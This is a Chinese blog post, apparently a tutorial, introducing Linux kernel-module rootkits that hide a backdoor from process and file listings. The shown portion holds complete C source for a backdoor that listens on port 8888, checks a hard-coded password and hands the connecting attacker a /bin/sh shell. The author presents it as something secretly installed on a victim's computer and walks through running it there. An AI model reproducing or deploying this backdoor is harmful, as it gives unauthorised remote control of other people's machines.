Rootkit-LKM编程劫持系统调用,隐藏后门程序backdoor(ps,ls)

前言

最近学习到rootkit,由于之前没怎么接触到Linux内核,系统调用具体实现这些稍底层的东西,并且参考的许多代码都是基于内核2.6的又不想重装低版本系统,所以踩了很多坑浪费了很多时间,查了许多资料,掉了许多头发,现稍整理希望能给后面采坑的人提供一点思路。

环境:
Ubuntu 16.04
linux内核版本 4.10.0-37

代码在这里
积分多的可以下载一下,没积分的后面也有完整代码

注:这里的makefile要注意一下
这里写图片描述

打开是这样的,划红线的地方留下你要编译的,另一个注掉
这里写图片描述

backdoor

backdoor,说是后门程序,个人感觉后门程序的范围很大,偷偷装在别人电脑里面试图达到某些社(不)会(可)和(告)谐(人)目的的都是后门程序,只是功能不一样,地点不一样,有的在用户态有的在内核之类的,比如Rootkit,装在内核里面,隐藏文件、进程和网络链接之类的信息。

下面用socket写一个简单的backdoor,功能是打开受害者电脑特定端口,接收到攻击者的连接请求成功后打开一个bash,从而攻击者可以操纵受害者电脑做任何不可描述的事情。

思路是这样的:

打开端口进行监听–>接收到连接请求后发现是攻击者–>打开一个bash并将标准输入输出绑定到socket

代码是这样的:

#include  <stdio.h> 
#include  <sys/socket.h> 
#include  <unistd.h> 
#include  <sys/types.h> 
#include  <netinet/in.h> 
#include  <stdlib.h>
#include <string.h>


int main(int argc, char **argv)
{
    int i, listenfd, goshyoujinnsama;
    pid_t pid;
    int len = 128;
    int port=8888;  
    char buf[len];
    socklen_t len2;
    struct sockaddr_in s_addr;
    struct sockaddr_in c_addr;
    char enterpass[32]="Stop! who are you ?";
    char welcome[32]="Welcome,master!";
    char password[5]="11111";
    char sorry[32]="heheda !";

    listenfd = socket(AF_INET,SOCK_STREAM,0);
    if (listenfd == -1){
        exit(1);
    }

    bzero(&s_addr,sizeof(s_addr));
    s_addr.sin_family=AF_INET;
    s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
    s_addr.sin_port=htons(port);

    if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -1){
        exit(1);
    }
    if (listen(listenfd, 20)==-1){
        exit(1);
    }
    len2 = sizeof(c_addr);

    while(1){
        goshyoujinnsama = accept(listenfd, (struct sockaddr *)&c_addr, &len2);
        if((pid = fork()) > 0)
        {
            exit(0);
        }else if(!pid){
            close(listenfd);
            write(goshyoujinnsama, enterpass, strlen(enterpass));
            memset(buf,'\0', len);
            read(goshyoujinnsama, buf, len);
            if (strncmp(buf,password,5) !=0){
                write(goshyoujinnsama, sorry, strlen(sorry));
                close(goshyoujinnsama);
                exit(0);
            }else{
                write(goshyoujinnsama, welcome, strlen(welcome));
                dup2(goshyoujinnsama,0);
                dup2(goshyoujinnsama,1); 
                dup2(goshyoujinnsama,2);
                execl("/bin/sh", "toSyojinn", (char *) 0);
            }
        }
    }
    close(goshyoujinnsama);
}

过程是这样的:

1.受害者电脑上编译backdoor
这里写图片描述

2.编译好了跑一下
这里写图片描述

3.攻击者电脑上发送连接请求
这里写图片描述

4.连接成功,ls试一下能不能看到受害者电脑上目录

  • 6
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值